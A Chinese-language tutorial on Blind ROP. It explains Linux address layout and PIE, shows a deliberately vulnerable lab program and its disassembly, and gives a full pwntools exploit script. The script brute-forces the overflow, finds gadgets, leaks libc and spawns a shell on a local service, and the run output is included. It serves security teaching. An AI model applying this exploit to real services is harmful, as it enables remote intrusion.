BROP介绍
BROP的全称是Bind ROP,之在不知道程序内存布局的情况下完成ROP攻击,在这里BROP有两个基础的要求,一是程序在崩溃后自带重新启动,二是重新启动后内存布局不会发生变化。
有了这两个基础条件的加持,我们就可以保证找到的地址是可以一直使用的,不至于产生“过期”的问题。
当正确的地址应该怎么样确定呢?既然地址不会“过期”,那遍历当然是一个非常有效的手段。
对于一个64位系统而言,尽管寻址时它只是使用48位(即248字节,相当于256TB)地址空间进行寻址,但这个地址空间范围也是相当大了。
想要遍历地址也要有个范围吧!
1 2 | 用户态空间:0x0000000000000000 - 0x00007FFFFFFFFFFF内核态空间:0xFFFF800000000000 - 0xFFFFFFFFFFFFFFFF |
不错,Linux系统是的确给了个范围,在Linux系统当中将用户态空间和内核态空间做了隔离,内核通过TASK_SIZE_MAX宏分为“楚河汉届”,该宏标明了用户态空间的最大地址。
用户态程序地址的规律
当你熟悉Linux系统之后就会知道,用户态的地址是由规律可言的,下面会介绍这些规律。
在了解这些规律之前,我们首先需要知道什么是PIE。
PIE为什么存在?
在现代计算机系统当中,虽然内存资源是有限的,但是进程间的地址空间都是独立的,即在进程眼中自己都是占用着完整的内存空间,无需操心内存情况,至于物理内存资源是否真的可用,就要看操作系统如何进行调度了。
在独立的进程空间中,进程拥有了自由度,因此给不同的进程分配同样的内存布局也不会出现问题,直接在编译期分配固定的内存地址也不会带来问题。
尽管进程直接使用固定的内存地址不会带来内存使用方面的问题,但是固定的内存地址却会给黑客带来极大方便,为了缓解这一安全问题,Linux和GCC引入了PIE机制。
PIE的全称是Position-independent Executable,其含义是与位置无关的可执行文件,当然也可也将它称作是PIC(Position-independent Code 与位置无关的代码)。
PIE机制允许程序不使用固定的内存地址,使得程序可以被加载到任意的内存地址上,进而使得黑客无法方便的得知程序的内存布局情况。
开启PIE机制后会导致性能受到影响,LD程序允许通过LD_DEBUG=statistics查看程序加载过程中的性能统计信息。
1 2 3 4 5 6 7 8 9 10 | LD_DEBUG=statistics6544:6544: runtime linker statistics:6544: total startup time in dynamic loader: 4001326 cycles6544: time needed for relocation: 24288 cycles (.6%)6544: number of relocations: 836544: number of relocations from cache: 76544: number of relative relocations: 06544: time needed to load objects: 41238 cycles (1.0%) |
下面列出如何控制LD链接器开关PIE功能。
1 2 | 开启PIE:ld -fPIE -pie -fPIC关闭PIE:ld -fno-PIE -no-pie -fno-PIC |
无PIE时的内存地址规律
当PIE功能关闭时,程序的固定地址是由LD动态链接器进行设置的,可以通过-verbose查看指定的text-segment代表的起始地址,如果想要查看其他的架构情况。
1 2 3 4 5 6 7 | amd64:ld -verbose | grep -i text-segmentPROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;i386:ld -melf_i386 -verbose | grep -i text-segmentPROVIDE (__executable_start = SEGMENT_START("text-segment", 0x08048000)); . = SEGMENT_START("text-segment", 0x08048000) + SIZEOF_HEADERS; |
当然上面的地址并不是一定的,LD链接器支持添加链接选项在链接期动态的选择内存地址。
1 2 3 4 5 6 7 8 | -Wl,-Ttext-segment=xxxx-Wl,-Ttext-segment=0x10000(gdb) disassemble Dump of assembler code for function main: 0x000000000001116d <+0>: push %rbp 0x000000000001116e <+1>: mov %rsp,%rbp ...... |
但是这个设置的地址是不可以小于0x10000(64kb)的,在计算机中存在着空指针错误,但这个空指针并不一定要是0x0,低于内核设置的mmap_min_addr都算作是空指针。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | sudo sysctl -a | grep mmapvm.hugetlb_optimize_vmemmap = 0vm.mmap_min_addr = 65536vm.mmap_rnd_bits = 28vm.mmap_rnd_compat_bits = 8ls /proc/sys/vmadmin_reserve_kbytes dirtytime_expire_seconds max_map_count nr_hugepages overcommit_ratio user_reserve_kbytescompaction_proactiveness dirty_writeback_centisecs memory_failure_early_kill nr_hugepages_mempolicy page-cluster vfs_cache_pressurecompact_memory drop_caches memory_failure_recovery nr_overcommit_hugepages page_lock_unfairness watermark_boost_factorcompact_unevictable_allowed extfrag_threshold min_free_kbytes numa_stat panic_on_oom watermark_scale_factordirty_background_bytes hugetlb_optimize_vmemmap min_slab_ratio numa_zonelist_order percpu_pagelist_high_fraction zone_reclaim_modedirty_background_ratio hugetlb_shm_group min_unmapped_ratio oom_dump_tasks stat_intervaldirty_bytes laptop_mode mmap_min_addr oom_kill_allocating_task stat_refreshdirty_expire_centisecs legacy_va_layout mmap_rnd_bits overcommit_kbytes swappinessdirty_ratio lowmem_reserve_ratio mmap_rnd_compat_bits overcommit_memory unprivileged_userfaultfd |
mmap_min_addr用于现在用户态程序可以申请到的最小内存地址,代表着虚拟地址空间的下界。对于C语言来讲,一个指针类型的变量在未初始化时默认就是NULL零值,且期望程序访问空指针时出现崩溃,当没有mmap_min_addr的限制时,零地址也是可以被使用的(与预期不符),假如零地址上存在被写入的内容,那么攻击者既可以借助任意的未初始化指针对零地址上的资源进行滥用,导致安全问题出现。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | sudo sysctl -w vm.mmap_min_addr="0"被映射的空间:00000000-00001000 rwxp 00000000 00:00 0源代码:#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <bits/mman-linux.h>static int vuln(char* data){ char cmd[0x100]; strncpy(cmd, data, 0x100); system(cmd);}int main(void){ char* msg = "/bin/sh\0"; mmap(0, 0x1000, PROT_READ |PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); perror("mmap"); memcpy(0, msg, sizeof(msg)); msg = NULL; vuln(msg);}程序运行结果:./null_ptr smmap: Success$ lsmain.c Makefile null_ptr obj$ exit |
不管是AMD64架构还是i386架构图,它们都选择向更远离mmap_min_addr记录的地址处映射程序。
有PIE时的内存地址规律
在PIE机制开启时,ELF文件内部就不会在直接分配内存地址,转为只分配偏移值,程序被加载进入内核后,会被分配一个基地址,基地址+偏移值组成了一个可用的内存地址。
内核如何区分程序是否启用PIE
不同程序间的虚拟地址空间都是独立的,程序A开启了PIE,程序B关闭了PIE,它们都应该是可用运行的,内核不可能支持一种,但是考虑到内核需要根据PIE决定给不给程序分配基地址,所以内核需要找到一种方法分辨PIE是否开启。
通过file工具观察ELF文件,可以发现该工具可以直接根据ELF文件识别出PIE是否启用,那么它是如何识别的呢?
1 2 3 | file观察结果:关闭PIE:ELF 64-bit LSB executable开启PIE:ELF 64-bit LSB pie executable |
这个问题答案并不复杂,ELF文件会向.dynamic动态链接节中的FLAGS_1元素添加PIE标志位,内核会根据该标志位是否存在决定分不分配基地址。
1 2 | #define DF_1_PIE 0x080000000x000000006ffffffb (FLAGS_1) Flags: PIE |
在Linux内核中,它给程序分配的基地址是根据TASK_SIZE(用户态程序的虚拟地址空间最大地址)进行计算的,对于使用48位地址空间的64位内核而言,TASK_SIZE的大小一般是0x7ffffffff000,ELF_ET_DYN_BASE一般是0x555555554aaa,load_bias会根据程序的地址对齐情况,以及ASLR是否开启等情况,进行进一步的变化。
1 2 3 4 5 | TASK_SIZE = 0x7ffffffff000#define ELF_ET_DYN_BASE ((TASK_SIZE / 3) * 2)load_bias = ELF_ET_DYN_BASE -> 0x555555554aaa |
地址规律的总结
在Linux系统当中,用户态程序的地址问题首先会根据PIE机制的启用情况决定,未启动PIE程序为了让零地址是有问题的,所以通过mmap_min_addr设置虚拟地址空间的下界,保证低地址不会被使用,这个限制可以通过sysctl和虚文件取消。
在AMD64架构和i386架构中,LD一般使用0x400000和0x08048000作为最低地址。
对于开启PIE的程序来讲,它会根据ELF_ET_DYN_BASE的地址映射到虚拟地址空间中,使用48位地址空间的Linux内核中ELF_ET_DYN_BASE的数值一般是0x555555554aaa。
难以擦测的地址
在上面的分析中,我们知道了用户态程序被映射到虚拟地址空间的起始地址是有迹可循的,但在PIE关闭时也可以通过链接选项进行自定义设置,而且程序的位数和架构也会对地址产生影响。
因此在不知道足够信息的情况下,我们仍然很难知道大致的地址范围。
猜测思路
猜测缓冲区长度
此时我们利用的是缓冲区漏洞,但由于程序的二进制和源代码都是未知的,因此我们不能知道缓冲区的大小是多少,为了触发缓冲区漏洞,我们首先需要将缓冲区的长度猜测出来。
猜测缓存区的长度并不复杂,比较暴力的从1开始逐渐累加就是一种比较可靠的方式。
程序状态的控制
程序接收到paylaod后的状态可以分成三类,一是直接崩溃,二是运行一段时间后崩溃,三是不崩溃。
在得到缓冲区的长度之后,考虑到程序需要猜测不同的地址以及不断的接收payload,所以我们首先需要让程序重复的进入读取状态,即找到一个让程序不会崩溃的返回地址,且在该返回地址之后还会调用read函数。
除了进入读取状态的地址外,考虑到需要判断不同地址的类型,因此这里我们需要用到一个可以直接导致崩溃的地址。
示例讲解
下方给出了程序的源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | #include <stdio.h>#include <unistd.h>#include <string.h>static void vuln(void){ char buf[0x100]; read(STDIN_FILENO, buf, 0x1000);}int main(void){ setbuf(stdin, NULL); setbuf(stdout, NULL); puts("hello brop!"); vuln(); puts("bye, brop");} |
下面给出了ELF文件中关键的反汇编信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | ......0000000000401020 <puts@plt-0x10>: 401020: ff 35 ca 2f 00 00 push 0x2fca(%rip) # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8> 401026: ff 25 cc 2f 00 00 jmp *0x2fcc(%rip) # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10> 40102c: 0f 1f 40 00 nopl 0x0(%rax)0000000000401030 <puts@plt>: 401030: ff 25 ca 2f 00 00 jmp *0x2fca(%rip) # 404000 <puts@GLIBC_2.2.5> 401036: 68 00 00 00 00 push $0x0 40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>......0000000000401060 <_start>: 401060: 31 ed xor %ebp,%ebp 401062: 49 89 d1 mov %rdx,%r9 401065: 5e pop %rsi 401066: 48 89 e2 mov %rsp,%rdx......00000000004011d0 <__libc_csu_init>: ...... 401222: 5b pop %rbx 401223: 5d pop %rbp 401224: 41 5c pop %r12 401226: 41 5d pop %r13 401228: 41 5e pop %r14 40122a: 41 5f pop %r15 40122c: c3 ret 40122d: 0f 1f 00 nopl (%rax)...... |
exploit构造
根据上面的分析,接下来开始构造exploit,目前已知程序是64位且关闭PIE的,地址也没有经过额外的设置,因此这里使用0x400000作为基地址。
获取完基地址后,要做的就是获取一个可以进入read函数的地址,保证payload被持续接收,再就是获取一个可以直接导致程序崩溃的返回地址。
为了构造完整的exploit,我们需要找到一个可以从栈上弹出各种寄存器的地方,csu是一个很好的目标。
csu会pop六次,这样大量的pop在ret是少见的,因此我们在猜测的csu gadget地址后添加六个数值,再在最后添加进入read函数的地址,只要它可以顺利进入read函数,我们就可以得到csu gadget。
接下来,需要泄露程序内部的信息,所以需要先找到puts函数的位置。这一步并不难,我们设置rdi到指定的地址,如果猜测的地址会调用puts,那么我们就可以根据泄露的信息进行判断(目标地址可以设置为0x400000,因为ELF文件的开头是固定的文本信息,可以根据它进行判断)。
除了程序内部的信息之外,我们还需泄露LibC中的信息用于构造payload,在程序中.got.plt中记录的就是LibC内部的地址,那么应该如何找到.got.plt的地址呢?
我们知道plt表是有规律可循的,可以泄露地址上的指令数据进行判断,如果表项中的三条指令都匹配那就是找到.got.plt了。
1 2 3 | ff 25 xx xx xx xx # jmp got.plt68 xx # push relocation indexe9 xx xx xx xx xx # jmp .plt |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 | import pwnimport sysimport configparsersys.path.append('../../MyTools')import gadgets_infoimport conversionpwn.context.clear()pwn.context.update( arch = 'amd64', os = 'linux',)target_info = { 'exec_path': './brop_example', 'libc_info': None, 'conn': None, 'config_info': None, 'config_path': 'config.ini', 'addr_len': 0x8, 'crash_addr': 0x0, 'stack_overflow_len': 0x0, 'read_mode_enter_addr': 0x0, 'csu_gadget_addr': 0x0, 'csu_pop_rdi_offset': 0x9, 'csu_pop_regs_count': 0x6, 'plt4puts_addr': 0x0, 'puts_target_addr': 0x400000, 'puts_tagert_signature_code': b'\x7fELF', 'gotplt4puts_addr_leak': 0x0, 'plt_instructions_code_index': 0x0, 'push_rela_index2jmp_gotplt_offset': 0x6, 'jmp_plt2jmp_gotplt_offset': 0xb, 'plt_instructions_code_info': [ b'\xff\x25', # jmp got.plt b'\x68', # push relocation index b'\xe9', # jmp .plt ],}def config_parse_failed_handle(msg): print('[--] parse config [{0}] failed'.format(target_info['config_path'])) if msg != None: print('[--] {0}'.format(msg)) exit(-1)def config_info_init(): try: target_info['config_info'] = configparser.ConfigParser() target_info['config_info'].read(target_info['config_path']) except Exception: config_parse_failed_handle(None)def config_field_get(tag_name, field_name): try: val = target_info['config_info'][tag_name][field_name] return val except Exception: config_parse_failed_handle('get [{0}] - [{1}]'.format(tag_name, field_name)) return -1def config_field_set(tag_name, field_name, value): try: target_info['config_info'][tag_name][field_name] = str(value) with open(target_info['config_path'], 'w') as cfg_file: target_info['config_info'].write(cfg_file) except Exception: config_parse_failed_handle('set [{0}] - [{1}]'.format(tag_name, field_name))def connect_start(): try: target_info['conn'] = pwn.remote('127.0.0.1', 9527) data = target_info['conn'].recvuntil(b'hello brop!\n') except Exception: print('[--] cannot start connect') exit(-1)def connect_stop(): try: target_info['conn'].close() target_info['conn'] = None except Exception: print('[--] cannot close connect') exit(-1)def stack_overflow_len_get(): _len = int(config_field_get('stack_info', 'stack_overflow_length')) print('[--] current stack overflow length = {0}'.format(_len)) if _len <= 0: _len = 1 while True: try: connect_start() print(_len) payload = b'A' * _len target_info['conn'].send(payload) target_info['conn'].recv() connect_stop() _len += 1 except Exception: connect_stop() _len -= 1 config_field_set('stack_info', 'stack_overflow_length', _len) print('[++] available stack overflow length = {0}'.format(_len)) return _lendef crash_addr_check(addr, is_crash, payload, leak_data): if is_crash == True: config_field_set('bind_rop_info', 'crash_addr', hex(addr)) return addr return Nonedef read_mode_addr_check(addr, is_crash, payload, leak_data): try: ret = None has_crash = False if is_crash == True: return ret test_payload = b'B' * target_info['stack_overflow_len'] if target_info['read_mode_enter_addr'] != 0x0: test_payload += pwn.p64(target_info['read_mode_enter_addr']) else: test_payload += pwn.p64(addr) target_info['conn'].send(test_payload) target_info['conn'].recv(timeout = 5) target_info['conn'].send(test_payload) target_info['conn'].recv(timeout = 5) except Exception: print('[--] receive Exception') has_crash = True if has_crash == False: ret = addr return retdef csu_gadget_addr_check(addr, is_crash, payload, leak_data): ret = read_mode_addr_check(addr, is_crash, payload, leak_data) if ret != None: try: ret = None test_payload = payload test_payload += pwn.p64(0x0) * target_info['csu_pop_regs_count'] test_payload += pwn.p64(target_info['crash_addr']) target_info['conn'].send(test_payload) target_info['conn'].recv(timeout = 5) except Exception: ret = addr return retdef plt4puts_addr_check(addr, is_crash, payload, leak_data): if is_crash == False: print(leak_data) if leak_data.startswith(target_info['puts_tagert_signature_code']): return addr return Nonedef leak_libc_by_gotplt_store_addr_check(addr, is_crash, payload, leak_data): global pre_addr global leak_info if pre_addr != 0x0: if (addr - pre_addr) > 0x8: target_info['plt_instructions_code_index'] = 0x0 if leak_data.startswith(target_info['plt_instructions_code_info'][target_info['plt_instructions_code_index']]): if target_info['plt_instructions_code_index'] == 0x0: leak_info = leak_data if target_info['plt_instructions_code_index'] == 0x2: plt_starting_addr = addr - target_info['jmp_plt2jmp_gotplt_offset'] print('[--] [{0}] was plt starting address'.format(hex(plt_starting_addr))) return plt_starting_addr target_info['plt_instructions_code_index'] += 1 pre_addr = addr return Nonedef addr_traversal(cfg_tag_name, cfg_field_name, check_rule, rop_fix, payload_fix): addr = int(config_field_get(cfg_tag_name, cfg_field_name), 16) if addr <= 0: addr = int(config_field_get('bind_rop_info', 'base_addr'), 16) print('[--] current address = {0}'.format(hex(addr))) leak_data = b'' while True: try: has_crash = False connect_start() print('[--] try address = {0}'.format(hex(addr))) pre_payload = b'A' * target_info['stack_overflow_len'] if rop_fix != None: pre_payload += rop_fix pre_payload += pwn.p64(addr) payload = pre_payload if payload_fix != None: payload = pre_payload + payload_fix target_info['conn'].send(payload) leak_data = target_info['conn'].recv(timeout = 5) except Exception: print('[--] receive exception') has_crash = True ret = check_rule(addr, has_crash, pre_payload, leak_data) connect_stop() if ret != None: print('[--] available {0} address = {1}'.format(cfg_field_name, hex(ret))) config_field_set(cfg_tag_name, cfg_field_name, hex(ret)) return ret addr += 1pwn.context.binary = pwn.ELF(target_info['exec_path'])target_info['libc_info'] = pwn.ELF(target_info['exec_path']).libcconfig_info_init()target_info['stack_overflow_len'] = stack_overflow_len_get()target_info['crash_addr'] = addr_traversal( 'bind_rop_info', 'crash_addr', crash_addr_check, None, None)target_info['read_mode_enter_addr'] = addr_traversal( 'bind_rop_info', 'read_mode_addr', read_mode_addr_check, None, None)brop_csu_find_payload_fix = pwn.p64(0x0) * target_info['csu_pop_regs_count']brop_csu_find_payload_fix += pwn.p64(target_info['read_mode_enter_addr'])target_info['csu_gadget_addr'] = addr_traversal( 'bind_rop_info', 'csu_gadget_addr', csu_gadget_addr_check, None, brop_csu_find_payload_fix)pop_rdi_offset = target_info['csu_gadget_addr'] + target_info['csu_pop_rdi_offset']plt4puts_find_rop_fix = pwn.p64(pop_rdi_offset)plt4puts_find_rop_fix += pwn.p64(target_info['puts_target_addr'])plt4puts_find_payload_fix = pwn.p64(target_info['read_mode_enter_addr'])target_info['plt4puts_addr'] = addr_traversal( 'bind_rop_info', 'plt4puts_addr', plt4puts_addr_check, plt4puts_find_rop_fix, plt4puts_find_payload_fix)gotplt4puts_find_rop_fix = pwn.p64(pop_rdi_offset)gotplt4puts_find_payload_fix = pwn.p64(target_info['plt4puts_addr'])gotplt4puts_find_payload_fix += pwn.p64(target_info['read_mode_enter_addr'])target_info['plt_instructions_code_index'] = 0x0pre_addr = 0x0leak_info = Nonetarget_info['gotplt4puts_addr_leak'] = addr_traversal( 'bind_rop_info', 'gotplt4puts_addr', leak_libc_by_gotplt_store_addr_check, gotplt4puts_find_rop_fix, gotplt4puts_find_payload_fix)offset = conversion.bytes2int(leak_info[2:4])target_info['gotplt4puts_addr_leak'] += target_info['push_rela_index2jmp_gotplt_offset'] + offsetconnect_start()payload = b'C' * target_info['stack_overflow_len']payload += pwn.p64(pop_rdi_offset)payload += pwn.p64(target_info['gotplt4puts_addr_leak'])payload += pwn.p64(target_info['plt4puts_addr'])payload += pwn.p64(target_info['read_mode_enter_addr'])target_info['conn'].send(payload)data = target_info['conn'].recv(timeout = 5)libc_puts_addr = conversion.bytes2int(data[:6])libc_base = libc_puts_addr - 0x77980print('[**] libc base address = {0}'.format(hex(libc_base)))libc_system_addr = libc_base + target_info['libc_info'].symbols['system']libc_binsh_addr = libc_base + target_info['libc_info'].search(b'/bin/sh').__next__()payload = b'A' * target_info['stack_overflow_len']payload += pwn.p64(pop_rdi_offset)payload += pwn.p64(libc_binsh_addr)payload += pwn.p64(pop_rdi_offset + 1)payload += pwn.p64(libc_system_addr)payload += pwn.p64(target_info['read_mode_enter_addr'])target_info['conn'].sendline(payload)target_info['conn'].interactive() |
成功PWN
运行exploit后就可以直接获取Shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | [*] '/home/astaroth/Labs/PWN/UserMode/Stack/0x000D_BROP/brop_example' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[*] '/usr/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[--] current stack overflow length = 264[+] Opening connection to 127.0.0.1 on port 9527: Done264[*] Closed connection to 127.0.0.1 port 9527[+] Opening connection to 127.0.0.1 on port 9527: Done265[*] Closed connection to 127.0.0.1 port 9527[++] available stack overflow length = 264[--] current address = 0x401000[+] Opening connection to 127.0.0.1 on port 9527: Done[--] try address = 0x401000[--] receive exception[*] Closed connection to 127.0.0.1 port 9527[--] available crash_addr address = 0x401000[--] current address = 0x401060[+] Opening connection to 127.0.0.1 on port 9527: Done[--] try address = 0x401060[*] Closed connection to 127.0.0.1 port 9527[--] available read_mode_addr address = 0x401060[--] current address = 0x401222[+] Opening connection to 127.0.0.1 on port 9527: Done[--] try address = 0x401222[*] Closed connection to 127.0.0.1 port 9527[--] available csu_gadget_addr address = 0x401222[--] current address = 0x401025[+] Opening connection to 127.0.0.1 on port 9527: Done[--] try address = 0x401025b'\x7fELF\x02\x01\x01\nhello brop!\n'[*] Closed connection to 127.0.0.1 port 9527[--] available plt4puts_addr address = 0x401025......[--] available gotplt4puts_addr address = 0x401030[**] bytes: b'\xca/'[**] hex: 0x2fca[+] Opening connection to 127.0.0.1 on port 9527: Done[**] bytes: b'\x80\xc9\xec0\x1b\x7f'[**] hex: 0x7f1b30ecc980[**] libc base address = 0x7f1b30e55000[*] Switching to interactive mode$ iduid=1000(astaroth) gid=1000(astaroth) groups=1000(astaroth),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),114(bluetooth),117(lpadmin),121(scanner)$ |